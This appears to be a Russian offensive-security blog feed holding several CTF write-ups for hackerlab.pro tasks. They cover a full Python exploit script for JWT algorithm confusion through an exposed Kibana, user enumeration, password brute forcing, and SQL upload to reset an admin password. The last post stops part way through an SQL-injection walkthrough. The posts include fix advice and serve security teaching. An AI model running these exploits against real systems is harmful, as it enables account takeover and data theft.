  <p id="mVXG">3. Бэкенд аутентификации страдает классической Algorithm<br />   Confusion: для HS256 в качестве секрета используется<br />   содержимое PEM-файла, который сам по себе публичен (это же<br />   public.pem). Любой, кто его скачает, может подделать любые<br />   HS256-токены.</p>
  <p id="E0cu">4. Файл /keys/public.pem отдаётся nginx-ом наружу без всяких<br />   ограничений.</p>
  <p id="kwx2"><br />==============================================================<br />КАК ИСПРАВИТЬ<br />==============================================================</p>
  <p id="DymR">- Закрыть Kibana basic-auth-ом или kibana.yml с настроенной<br />  ролью в xpack.security; ограничить доступ по IP.<br />- Не писать JWT в логи. Маскировать поля token/password/secret<br />  в логгере.<br />- При проверке RS256-токенов жёстко фиксировать алгоритм:<br />      jwt.decode(token, pub, algorithms=[&quot;RS256&quot;])<br />  Никогда не позволять библиотеке выбрать алгоритм по полю<br />  header.alg.<br />- /keys/public.pem либо не отдавать клиенту вообще, либо<br />  раскрыть только содержимое (а не path как hint).</p>
  <p id="zBMn"><br />==============================================================<br />ИТОГО<br />==============================================================</p>
  <p id="VyXl">  Цепочка: vhost-enum → открытая Kibana → утечка JWT в логах<br />           → лог с путём к public.pem → HS256 forge на pub.pem<br />           → подбор user+role → /profile отдаёт флаг.</p>
  <p id="jIm2">  ФЛАГ: CODEBY{Alg0r17hm_M15m47ch}<br />---</p>
  <hr />
  <h2 id="wLzx">Poc</h2>
  <figure id="6cHN" class="m_original">
    <img src="https://img3.teletype.in/files/65/39/653987de-8a5d-48b2-85cf-98e39a4c20e8.png" width="1412" />
  </figure>
  <p id="eMTh">и</p>
  <figure id="jAOf" class="m_original">
    <img src="https://img4.teletype.in/files/7f/fd/7ffd566a-9096-4473-9bfd-c909bf5d4268.png" width="1414" />
  </figure>
  <hr />
  <p id="pMcB">#!/usr/bin/env python3<br />&quot;&quot;&quot;<br />PoC: JWT Algorithm Confusion + Kibana data leak<br />Задача: &quot;Хьюстон, у нас течь&quot; (hackerlab.pro)</p>
  <p id="0SLF">Цепочка эксплуатации:<br />    1. Поиск vhost-ов на одном IP -&gt; logs.cybercorp.ctf (Kibana 7.17 без auth).<br />    2. Через /api/console/proxy дёргаем Elasticsearch напрямую и<br />       вычитываем индекс cybercorp-logs со слитыми JWT.<br />    3. Один из логов указывает путь /keys/public.pem.<br />    4. PEM с публичным RSA-ключом отдаётся нашему vhost-у cybercorp.ctf.<br />    5. Подделываем HS256-токен, используя содержимое public.pem<br />       как HMAC-секрет (классический JWT algorithm confusion).<br />    6. Перебираем пары user+role на /profile до 200 OK.<br />    7. Достаём флаг со страницы.</p>
  <p id="EgS1">Использование:<br />    python3 poc.py                       # дефолтный таргет<br />    python3 poc.py http://IP:PORT<br />&quot;&quot;&quot;</p>
  <p id="lqv8">import sys<br />import re<br />import json<br />import time<br />import hmac<br />import hashlib<br />import base64<br />import urllib.request<br />import urllib.error</p>
  <p id="91UY"><br />DEFAULT_TARGET   = &quot;http://62.173.140.174:16108&quot;<br />APP_VHOST        = &quot;cybercorp.ctf&quot;<br />LOGS_VHOST       = &quot;logs.cybercorp.ctf&quot;<br />PUBKEY_PATH      = &quot;/keys/public.pem&quot;<br />LOGS_INDEX       = &quot;cybercorp-logs&quot;<br />PROFILE_PATH     = &quot;/profile&quot;</p>
  <p id="JitN"><br /># ---------- хакерский вывод (только зелёный/белый) ----------</p>
  <p id="d59k">class C:<br />    G    = &quot;\033[38;5;46m&quot;<br />    W    = &quot;\033[97m&quot;<br />    BOLD = &quot;\033[1m&quot;<br />    END  = &quot;\033[0m&quot;</p>
  <p id="Kmgp"><br />BANNER = r&quot;&quot;&quot;<br /> ___      __   __   __                      ___  __             __<br />|__      |__) /  \ /  &#x60;     |__|  /\  |__/ |__  |__) |     /\  |__)<br />|    ___ |    \__/ \__, ___ |  | /~~\ |  \ |___ |  \ |___ /~~\ |__)<br />&quot;&quot;&quot;</p>
  <p id="H4ug"><br />def banner(text):<br />    print()<br />    print(f&quot;{C.BOLD}{C.G}{&#x27;=&#x27; * 70}{C.END}&quot;)<br />    print(f&quot;{C.BOLD}{C.G}{text}{C.END}&quot;)<br />    print(f&quot;{C.BOLD}{C.G}{&#x27;=&#x27; * 70}{C.END}&quot;)</p>
  <p id="tMcp"><br />def step(num, title):<br />    print()<br />    print(f&quot;{C.BOLD}{C.G}[ШАГ {num}]{C.END} {C.BOLD}{C.W}{title}{C.END}&quot;)<br />    print(f&quot;{C.G}{&#x27;-&#x27; * 70}{C.END}&quot;)</p>
  <p id="axSx"><br />def info(label, value):<br />    print(f&quot;  {C.G}{label}:{C.END} {C.W}{value}{C.END}&quot;)</p>
  <p id="GbYu"><br />def good(text):  print(f&quot;  {C.BOLD}{C.G}[+]{C.END} {C.W}{text}{C.END}&quot;)<br />def bad(text):   print(f&quot;  {C.BOLD}{C.G}[-]{C.END} {C.W}{text}{C.END}&quot;)<br />def note(text):  print(f&quot;  {C.G}[*]{C.END} {C.W}{text}{C.END}&quot;)</p>
  <p id="W7PK"><br /># ---------- HTTP ----------</p>
  <p id="NCaD">def http(method, target, path, host, headers=None, body=None, timeout=15):<br />    req_headers = {&quot;Host&quot;: host}<br />    if headers:<br />        req_headers.update(headers)<br />    if body is not None and isinstance(body, (dict, list)):<br />        body = json.dumps(body).encode()<br />        req_headers.setdefault(&quot;Content-Type&quot;, &quot;application/json&quot;)<br />    elif isinstance(body, str):<br />        body = body.encode()</p>
  <p id="bLiN">    req = urllib.request.Request(<br />        target + path,<br />        data=body,<br />        headers=req_headers,<br />        method=method,<br />    )<br />    try:<br />        with urllib.request.urlopen(req, timeout=timeout) as r:<br />            return r.getcode(), r.read().decode(errors=&quot;replace&quot;), dict(r.headers)<br />    except urllib.error.HTTPError as e:<br />        return e.code, e.read().decode(errors=&quot;replace&quot;), dict(e.headers)<br />    except urllib.error.URLError as e:<br />        bad(f&quot;сеть недоступна: {e}&quot;)<br />        sys.exit(1)</p>
  <p id="sgnB"><br /># ---------- JWT ----------</p>
  <p id="VObw">def b64url(b):<br />    return base64.urlsafe_b64encode(b).rstrip(b&#x27;=&#x27;).decode()</p>
  <p id="Qcdt"><br />def jwt_hs256(payload, secret):<br />    h_b = b64url(json.dumps({&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}, separators=(&#x27;,&#x27;,&#x27;:&#x27;)).encode())<br />    p_b = b64url(json.dumps(payload,                    separators=(&#x27;,&#x27;,&#x27;:&#x27;)).encode())<br />    sig = b64url(hmac.new(secret, f&quot;{h_b}.{p_b}&quot;.encode(), hashlib.sha256).digest())<br />    return f&quot;{h_b}.{p_b}.{sig}&quot;</p>
  <p id="JFe4"><br /># ---------- шаги ----------</p>
  <p id="6QPZ">def step1_check_kibana(target):<br />    step(1, &quot;Проверка открытой Kibana на logs.cybercorp.ctf&quot;)<br />    code, body, headers = http(&quot;GET&quot;, target, &quot;/api/status&quot;, LOGS_VHOST)<br />    info(&quot;Status&quot;, code)</p>
  <p id="jByV">    if &quot;kbn-name&quot; in {k.lower() for k in headers}:<br />        good(&quot;Kibana обнаружена (по заголовкам kbn-*)&quot;)<br />    try:<br />        j = json.loads(body)<br />        info(&quot;Kibana version&quot;, j[&quot;version&quot;][&quot;number&quot;])<br />        info(&quot;Overall state&quot;,  j[&quot;status&quot;][&quot;overall&quot;][&quot;state&quot;])<br />    except Exception:<br />        bad(&quot;не удалось разобрать JSON статуса&quot;)<br />        sys.exit(1)</p>
  <p id="jykq"><br />def step2_list_indices(target):<br />    step(2, &quot;Чтение индексов Elasticsearch через /api/console/proxy&quot;)<br />    code, body, _ = http(<br />        &quot;POST&quot;, target,<br />        &quot;/api/console/proxy?path=_cat/indices&amp;method=GET&quot;,<br />        LOGS_VHOST,<br />        headers={&quot;kbn-xsrf&quot;: &quot;true&quot;},<br />    )<br />    info(&quot;Status&quot;, code)<br />    for line in body.strip().splitlines():<br />        if LOGS_INDEX in line:<br />            print(f&quot;  {C.BOLD}{C.G}&gt;&gt;&gt;{C.END} {C.W}{line}{C.END}&quot;)<br />            good(f&quot;индекс {LOGS_INDEX} найден&quot;)<br />            return<br />    bad(f&quot;индекс {LOGS_INDEX} не найден&quot;)<br />    sys.exit(1)</p>
  <p id="tol7"><br />def step3_leak_sample_token(target):<br />    step(3, &quot;Утечка JWT из логов cybercorp-logs&quot;)<br />    query = {&quot;size&quot;: 10, &quot;query&quot;: {&quot;exists&quot;: {&quot;field&quot;: &quot;token&quot;}}, &quot;_source&quot;: [&quot;user&quot;, &quot;token&quot;]}<br />    code, body, _ = http(<br />        &quot;POST&quot;, target,<br />        f&quot;/api/console/proxy?path={LOGS_INDEX}/_search&amp;method=POST&quot;,<br />        LOGS_VHOST,<br />        headers={&quot;kbn-xsrf&quot;: &quot;true&quot;},<br />        body=query,<br />    )<br />    info(&quot;Status&quot;, code)<br />    j = json.loads(body)<br />    hits = j.get(&quot;hits&quot;, {}).get(&quot;hits&quot;, [])<br />    info(&quot;Найдено документов с token&quot;, j[&quot;hits&quot;][&quot;total&quot;][&quot;value&quot;])<br />    if not hits:<br />        bad(&quot;в логах нет токенов&quot;)<br />        sys.exit(1)<br />    sample = hits[0][&quot;_source&quot;]<br />    info(&quot;Sample user&quot;,  sample.get(&quot;user&quot;))<br />    info(&quot;Sample token&quot;, sample.get(&quot;token&quot;)[:60] + &quot;...&quot;)<br />    return sample.get(&quot;token&quot;)</p>
  <p id="B94B"><br />def step4_check_signature_reuse(target, leaked_token):<br />    step(4, &quot;Проверка валидности подписи (что секрет общий)&quot;)<br />    code, body, _ = http(<br />        &quot;GET&quot;, target, PROFILE_PATH, APP_VHOST,<br />        headers={&quot;Cookie&quot;: f&quot;token={leaked_token}&quot;},<br />    )<br />    info(&quot;Status&quot;, code)<br />    info(&quot;Body&quot;,   body[:80])<br />    if &quot;expired&quot; in body.lower():<br />        good(&quot;подпись валидна (Token expired) — секрет общий для всех токенов&quot;)<br />    elif &quot;invalid&quot; in body.lower():<br />        bad(&quot;подпись не подходит — посмотрите вариант секрета&quot;)<br />        sys.exit(1)</p>
  <p id="5xTl"><br />def step5_find_pubkey_hint(target):<br />    step(5, &quot;Поиск пути к публичному ключу в логах&quot;)<br />    query = {&quot;size&quot;: 5, &quot;query&quot;: {&quot;query_string&quot;: {&quot;query&quot;: &quot;key&quot;}}}<br />    code, body, _ = http(<br />        &quot;POST&quot;, target,<br />        f&quot;/api/console/proxy?path={LOGS_INDEX}/_search&amp;method=POST&quot;,<br />        LOGS_VHOST,<br />        headers={&quot;kbn-xsrf&quot;: &quot;true&quot;},<br />        body=query,<br />    )<br />    j = json.loads(body)<br />    for h in j[&quot;hits&quot;][&quot;hits&quot;]:<br />        msg = h[&quot;_source&quot;].get(&quot;message&quot;, &quot;&quot;)<br />        m = re.search(r&quot;(/\S+\.pem)&quot;, msg)<br />        if m:<br />            info(&quot;Лог-запись&quot;, msg)<br />            good(f&quot;путь к ключу: {m.group(1)}&quot;)<br />            return m.group(1)<br />    bad(&quot;в логах нет упоминания .pem&quot;)<br />    sys.exit(1)</p>
  <p id="NuLZ"><br />def step6_fetch_pubkey(target, path):<br />    step(6, &quot;Загрузка публичного ключа&quot;)<br />    code, body, _ = http(&quot;GET&quot;, target, path, APP_VHOST)<br />    info(&quot;Status&quot;, code)<br />    if &quot;BEGIN PUBLIC KEY&quot; not in body:<br />        bad(&quot;по этому пути нет PEM&quot;)<br />        sys.exit(1)<br />    good(&quot;public.pem получен:&quot;)<br />    for line in body.strip().splitlines():<br />        print(f&quot;      {C.W}{line}{C.END}&quot;)<br />    return body</p>
  <p id="6tpB"><br />def step7_forge_token(target, pubkey_pem):<br />    step(7, &quot;Подделка HS256-токена (PEM как HMAC-секрет)&quot;)<br />    note(&quot;Алгоритм-confusion: сервер ждёт RS256, но принимает HS256, &quot;<br />         &quot;используя содержимое public.pem как симметричный секрет.&quot;)</p>
  <p id="Rgbd">    pub_bytes = pubkey_pem.encode()<br />    variants = {<br />        &quot;raw&quot;:        pub_bytes,<br />        &quot;strip&quot;:      pub_bytes.strip(),<br />        &quot;strip+\\n&quot;:  pub_bytes.strip() + b&quot;\n&quot;,<br />    }</p>
  <p id="77ZP">    real_pairs = [<br />        (&quot;dmitry.sokolov&quot;,    &quot;employee&quot;),<br />        (&quot;aleksandr.morozov&quot;, &quot;employee&quot;),<br />        (&quot;mikhail.stepanov&quot;,  &quot;guest&quot;),<br />        (&quot;olga.smirnova&quot;,     &quot;user&quot;),<br />        (&quot;ekaterina.ivanova&quot;, &quot;user&quot;),<br />    ]</p>
  <p id="8mc2">    for variant_name, secret in variants.items():<br />        info(&quot;Пробуем форму секрета&quot;, f&quot;{variant_name} ({len(secret)} байт)&quot;)<br />        for user, role in real_pairs:<br />            tok = jwt_hs256(<br />                {&quot;user&quot;: user, &quot;role&quot;: role, &quot;exp&quot;: int(time.time()) + 3600},<br />                secret,<br />            )<br />            code, body, _ = http(<br />                &quot;GET&quot;, target, PROFILE_PATH, APP_VHOST,<br />                headers={&quot;Cookie&quot;: f&quot;token={tok}&quot;},<br />            )<br />            short = body.strip().replace(&quot;\n&quot;, &quot; &quot;)[:60]<br />            print(f&quot;    {C.G}u={user:22} r={role:10}{C.END} &quot;<br />                  f&quot;{C.W}-&gt; {code} | {short}{C.END}&quot;)<br />            if code == 200:<br />                good(f&quot;взяли /profile с user={user}, role={role}&quot;)<br />                return tok, body</p>
  <p id="9eBS">    bad(&quot;ни одна пара user/role не дала 200&quot;)<br />    sys.exit(1)</p>
  <p id="hDnv"><br />def step8_extract_flag(html):<br />    step(8, &quot;Извлечение флага из ответа&quot;)<br />    m = re.search(r&quot;(CODEBY\{[^}]+\}|[A-Za-z0-9_]+\{[^}]+\})&quot;, html)<br />    if m:<br />        good(f&quot;нашли: {m.group(1)}&quot;)<br />        return m.group(1)<br />    note(&quot;явного флага не нашлось, печатаю полный body:&quot;)<br />    print(html)<br />    return None</p>
  <p id="iaq4"><br /># ---------- main ----------</p>
  <p id="VU9v">def main():<br />    target = sys.argv[1].rstrip(&quot;/&quot;) if len(sys.argv) &gt; 1 else DEFAULT_TARGET</p>
  <p id="YuDr">    print(f&quot;{C.BOLD}{C.G}{BANNER}{C.END}&quot;)<br />    banner(f&quot;PoC: Хьюстон, у нас течь ({target})&quot;)<br />    info(&quot;Target&quot;,   target)<br />    info(&quot;App vhost&quot;,  APP_VHOST)<br />    info(&quot;Logs vhost&quot;, LOGS_VHOST)</p>
  <p id="iXFn">    step1_check_kibana(target)<br />    step2_list_indices(target)<br />    leaked = step3_leak_sample_token(target)<br />    step4_check_signature_reuse(target, leaked)<br />    pubkey_path = step5_find_pubkey_hint(target)<br />    pem = step6_fetch_pubkey(target, pubkey_path)<br />    _, body = step7_forge_token(target, pem)<br />    flag = step8_extract_flag(body)</p>
  <p id="Osrq">    banner(&quot;РЕЗУЛЬТАТ&quot;)<br />    if flag:<br />        print(f&quot;  {C.BOLD}{C.G}FLAG:{C.END} {C.BOLD}{C.W}{flag}{C.END}&quot;)<br />    print()</p>
  <p id="aU0R"><br />if __name__ == &quot;__main__&quot;:<br />    main()<br /></p>
  <hr />
  <p id="Wv2A"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_49</guid><link>https://teletype.in/@fnay_offensive/post_49?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_49?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 44. &quot;Хаос на АЗС&quot; hackerlab.pro</title><pubDate>Wed, 20 May 2026 09:52:34 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/fa/e0/fae0390b-7c2f-4fd9-bca2-058f9827afdf.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/bb/17/bb1727f7-97f5-44ac-b280-65702b664620.jpeg"></img>CTF Write-up | «Хаос на АЗС» — hackerlab.pro]]></description><content:encoded><![CDATA[
  <figure id="Z1B5" class="m_original">
    <img src="https://img4.teletype.in/files/bb/17/bb1727f7-97f5-44ac-b280-65702b664620.jpeg" width="1200" />
  </figure>
  <p id="m1O5"><strong>CTF Write-up | «Хаос на АЗС» — hackerlab.pro</strong></p>
  <p id="h9GZ">Заправка. Flask. Werkzeug. Выглядит скучно — внутри полный хаос.</p>
  <figure id="G4kW" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <hr />
  <p id="ekiL"><strong>Цель:</strong> <code>62.173.140.174:16109</code> <strong>Флаг:</strong> <code>CODEBY{FU3L_B4CKUP_0WN3D}</code></p>
  <hr />
  <p id="C38x"><strong>[1/5] Захожу на территорию</strong></p>
  <figure id="hfEf" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="Fr6e"><code>nmap</code> — живёт HTTP на Werkzeug 3.1.5, Python 3.11.6. Титул страницы: «AZS LEET». Окей, посмотрим что тут за лит-заправка.</p>
  <p id="fKsd">Перебираю маршруты — <code>/admin</code>, <code>/admin/fuel</code>, <code>/admin/backup</code>, <code>/admin/secret</code> — всё редиректит на <code>/adminLogin</code>. Единственная открытая дверь. Стучимся.</p>
  <hr />
  <p id="zKRN"><strong>[2/5] Приложение само сдаёт своих пользователей</strong></p>
  <p id="jZLV">Пробую случайный логин — <code>User does not exist</code>. Пробую <code>operator</code> — <code>Check username or password</code>.</p>
  <p id="K3IN">Стоп. Это <em>разные</em> сообщения. Приложение буквально говорит мне кто существует, а кто нет.</p>
  <p id="GGqD"><code>ffuf</code> + SecLists, фильтрую по <code>User does not exist</code> — остаётся только то, что нашлось:</p>
  <pre id="dttP">operator   → секция Fuel
superadmin → секция Secret</pre>
  <p id="bU9w">Два юзера. Меньше минуты.</p>
  <hr />
  <p id="849P"><strong>[3/5] 42-я попытка</strong></p>
  <p id="q87G">Берём <code>darkweb2017_top-100.txt</code> — самые позорные пароли планеты Земля. Запускаю ffuf на <code>operator</code>.</p>
  <p id="53gv">На <strong>42-й итерации</strong> — HTTP 302. Редирект на <code>/admin/fuel</code>.</p>
  <p id="A15s">Пароль: <strong>qwe123</strong>. Серьёзно.</p>
  <p id="J08G">Куки в кармане. Захожу в панель управления.</p>
  <hr />
  <p id="7H37"><strong>[4/5] А вот это интересно</strong></p>
  <p id="XqOB">Смотрю исходник <code>/admin/fuel</code>. Форма с ценами — скучно. Но ниже:</p>
  <p id="wIku">html</p>
  <pre id="h9sH">&lt;form method=&quot;post&quot; action=&quot;/admin/backup&quot;
      enctype=&quot;multipart/form-data&quot; hidden&gt;
  &lt;input type=&quot;file&quot; name=&quot;sqlfile&quot;&gt;
&lt;/form&gt;</pre>
  <p id="IZpm"><code>hidden</code>. В браузере не видно. Для обычного юзера — не существует. Для <code>curl</code> — прекрасно видна.</p>
  <p id="JXEI"><code>GET /admin/backup</code> — сервер любезно отдаёт полный SQL-дамп. С таблицей <code>users</code>. С хешами паролей. Всех.</p>
  <p id="rKHI">sql</p>
  <pre id="QruA">INSERT INTO &quot;users&quot; VALUES(&#x27;Secret&#x27;,&#x27;superadmin&#x27;,&#x27;d9e9fece...&#x27;);</pre>
  <p id="8R6E">Что за хеш? Знаю пару <code>qwe123 → b6a2976b...</code> — проверяю схемы. SHA256 — мимо. MD5 — мимо. <strong>SHA256(SHA256(pass))</strong> — попадание. Без соли. Классика.</p>
  <p id="mntL">Генерирую хеш для нового пароля <code>pass123</code>, создаю файлик:</p>
  <p id="9z6C">sql</p>
  <pre id="ltjN">UPDATE users SET password=&#x27;826ec584...&#x27;
WHERE username=&#x27;superadmin&#x27;;</pre>
  <p id="rz61">Загружаю через скрытую форму:</p>
  <p id="qasY">bash</p>
  <pre id="NozT">curl -b /tmp/cookies.txt \
  -F &quot;sqlfile=@inject.sql&quot; \
  http://62.173.140.174:16109/admin/backup</pre>
  <p id="QJQv">Сервер принимает. Выполняет. И — вишенка на торте — возвращает обновлённый дамп, где хеш <code>superadmin</code> уже мой.</p>
  <hr />
  <p id="qESO"><strong>[5/5] Заезжаю на секретную заправку</strong></p>
  <pre id="nY9G">section=Secret&amp;username=superadmin&amp;password=pass123</pre>
  <p id="mlfW">HTTP 302 → <code>/admin/secret</code> → открываю страницу →</p>
  <pre id="AcVL">CODEBY{FU3L_B4CKUP_0WN3D}</pre>
  <p id="7yD9">Заправка наша.</p>
  <hr />
  <p id="IWIf"><strong>Цепочка целиком:</strong> <code>nmap</code> → User Enum → брутфорс → скрытая форма → SQL-дамп с хешами → inject.sql → смена пароля superadmin → флаг</p>
  <p id="8yg9">Ни одной экзотической техники. Только невнимательность разработчика — и четыре дыры выстроились в прямую дорожку к флагу.</p>
  <hr />
  <p id="0NW7"><strong>Уязвимости:</strong> <code>User Enumeration</code> / <code>Weak Password</code> / <code>SQL Dump Exposure</code> / <code>Arbitrary SQL Execution</code> / <code>Unsalted Double SHA-256</code></p>
  <hr />
  <p id="bnDe"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_48</guid><link>https://teletype.in/@fnay_offensive/post_48?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_48?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 43. ПОСТимся hackerlab.pro</title><pubDate>Mon, 18 May 2026 09:50:33 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/f8/f3/f8f3fcb2-8251-467a-bf36-29fc3560d8f8.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/21/ed/21ed3052-b115-4022-a151-763ad49079cf.jpeg"></img>Таск:]]></description><content:encoded><![CDATA[
  <figure id="kNT3" class="m_original">
    <img src="https://img3.teletype.in/files/21/ed/21ed3052-b115-4022-a151-763ad49079cf.jpeg" width="1200" />
  </figure>
  <p id="S8J1">Таск:</p>
  <p id="A8jv"><strong><em>Решил, что здесь я буду писать свои посты, но до конца ещё всё не оформил</em></strong></p>
  <p id="fQSe"><strong><em>IP: 62.173.140.174:16112</em></strong></p>
  <hr />
  <figure id="kOyD" class="m_original">
    <img src="https://img4.teletype.in/files/7a/40/7a404083-acc2-4ebe-8c59-c39038e4bf9d.png" width="1139" />
  </figure>
  <hr />
  <p id="N3l0">Привет.</p>
  <figure id="C1pM" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <p id="WUvp">Дисклеймер!<br /></p>
  <figure id="2KbL" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="KgWu">Начнем.<br />==============================================================<br />ОТЧЁТ ПО РЕШЕНИЮ ЗАДАЧИ &quot;ПОСТимся&quot; — Hackerlab.pro<br />==============================================================</p>
  <p id="APsi">Уровень:    Средний<br />Категория:  Web / API / SQL Injection (SQLite)<br />Цель:       <a href="http://62.173.140.174:16112/" target="_blank">http://62.173.140.174:16112/</a><br />Флаг:       CODEBY{ap1_vuln_sqli_fl4g}<br /></p>
  <hr />
  <p id="eMrN"></p>
  <h2 id="mufy">## 0. Условие</h2>
  <p id="g0j4">&gt; Решил, что здесь я буду писать свои посты, но до конца ещё всё не оформил<br />&gt; IP: 62.173.140.174:16112</p>
  <p id="AuS3">Название «ПОСТимся» — каламбур: «постить» (писать посты) ↔ HTTP &#x60;POST&#x60;. Уже из условия видно, что фокус будет на POST-запросах к API, а сервис «не до конца оформлен» — намёк на халтурную фильтрацию ввода.</p>
  <figure id="7Qex" class="m_original">
    <img src="https://img4.teletype.in/files/39/cc/39ccea82-0d63-470b-9047-77b47949c0a5.png" width="1397" />
  </figure>
  <hr />
  <h2 id="Qztm"><strong>## Шаг 1. Первичная разведка — что за сервис</strong></h2>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="2jAY"><br /><em>curl -s -i <a href="http://62.173.140.174:16112/" target="_blank">http://62.173.140.174:16112/</a> --max-time 10</em><br /></p>
  </section>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="aSi2">Выдача (фрагмент):<br /><br />HTTP/1.1 200 OK<br />Server: Werkzeug/3.1.5 Python/3.11.6<br />Content-Type: text/html; charset=utf-8<br /><br />&lt;title&gt;Blog API Search&lt;/title&gt;<br />...<br />&lt;form id=&quot;searchForm&quot;&gt;<br />    &lt;input type=&quot;text&quot; id=&quot;search&quot; ...&gt;<br />    &lt;button type=&quot;submit&quot;&gt;Search&lt;/button&gt;<br />&lt;/form&gt;<br />...<br />&lt;script&gt;<br />function toBase64(str) { return btoa(unescape(encodeURIComponent(str))); }<br />function searchPosts() {<br />    const query = document.getElementById(&#x27;search&#x27;).value;<br />    const encoded = toBase64(query);<br />    fetch(&#x27;/api/posts/search&#x27;, {<br />        method: &#x27;POST&#x27;,<br />        headers: {&#x27;Content-Type&#x27;: &#x27;application/json&#x27;},<br />        body: JSON.stringify({ filter: encoded })<br />    })...<br />}<br />&lt;/script&gt;<br />&#x60;&#x60;&#x60;</p>
  </section>
  <p id="dJu7">**Рассуждение.** - Что мы узнали<br />1. Заголовок Server: Werkzeug/3.1.5 Python/3.11.6 — это Flask-<br />   приложение на Python 3.11. Werkzeug-сервер часто используют<br />   как dev-сервер; в проде иногда забывают режим debug, но<br />   /console тут (как мы увидим дальше) не открыт.</p>
  <p id="YSYW">2. На странице один JS-скрипт. Он берёт значение из поля поиска,<br />   прогоняет через btoa(unescape(encodeURIComponent(str))) — это<br />   стандартный JS-приём, чтобы корректно закодировать UTF-8 в<br />   base64. Затем шлёт POST /api/posts/search с телом<br />   {&quot;filter&quot;: &quot;&lt;base64&gt;&quot;}.</p>
  <p id="xGe5">3. Это и есть наша единственная точка входа. Base64 — ВСЕГДА<br />   кодировка, а не защита. Декодированное значение почти<br />   гарантированно попадёт в какой-то запрос на сервере (SQL,<br />   eval, MongoDB filter, что-то ещё), и наша задача — понять<br />   какой и как именно.</p>
  <h2 id="Vssr">## Шаг 2. Карта эндпоинтов</h2>
  <p id="fowl">Зачем: проверить, нет ли соседних маршрутов (админка, доку-<br />ментация, debug-консоль Werkzeug, /api/posts/&lt;id&gt;, дефолтные<br />файлы вроде robots.txt). Делаем массовую проверку HEAD-ами<br />через curl с выводом только кода ответа и размера.</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ugUU">Команда:</p>
    <p id="1QJS">    for ep in /api /api/posts /api/posts/1 /api/users /admin /debug /console /api/admin /static/style.css /robots.txt /sitemap.xml; do<br />      echo &quot;=== $ep ===&quot;<br />      curl -s -o /dev/null -w &quot;HTTP %{http_code} | Size: %{size_download}\n&quot; &quot;<a href="http://62.173.140.174:16112" target="_blank">http://62.173.140.174:16112</a>$ep&quot; --max-time 5<br />    done</p>
  </section>
  <p id="tLUZ">Флаги curl:<br />  -s          без прогресс-бара<br />  -o /dev/null  не печатать тело ответа<br />  -w          формат для вывода: код ответа и размер скачанного<br />  --max-time  таймаут 5 секунд на запрос</p>
  <figure id="CEA1" class="m_original">
    <img src="https://img3.teletype.in/files/20/f9/20f9ee32-b675-46cc-92dc-55e58664e4e0.png" width="1337" />
  </figure>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Bc5H">Выдача:<br /><br />=== /api ===              HTTP 404<br />=== /api/posts ===        HTTP 200 | 528<br />=== /api/posts/1 ===      HTTP 404<br />=== /api/users ===        HTTP 404<br />=== /admin ===            HTTP 404<br />=== /debug ===            HTTP 404<br />=== /console ===          HTTP 404<br />=== /api/admin ===        HTTP 404<br />=== /static/style.css === HTTP 200 | 1940<br />=== /robots.txt ===       HTTP 404<br />=== /sitemap.xml ===      HTTP 404<br />&#x60;&#x60;&#x60;</p>
  </section>
  <p id="Cs1B">Из живых нашли только /api/posts и /static/style.css. Дальше<br />проверим разрешённые методы на /api/posts и /api/posts/search.</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
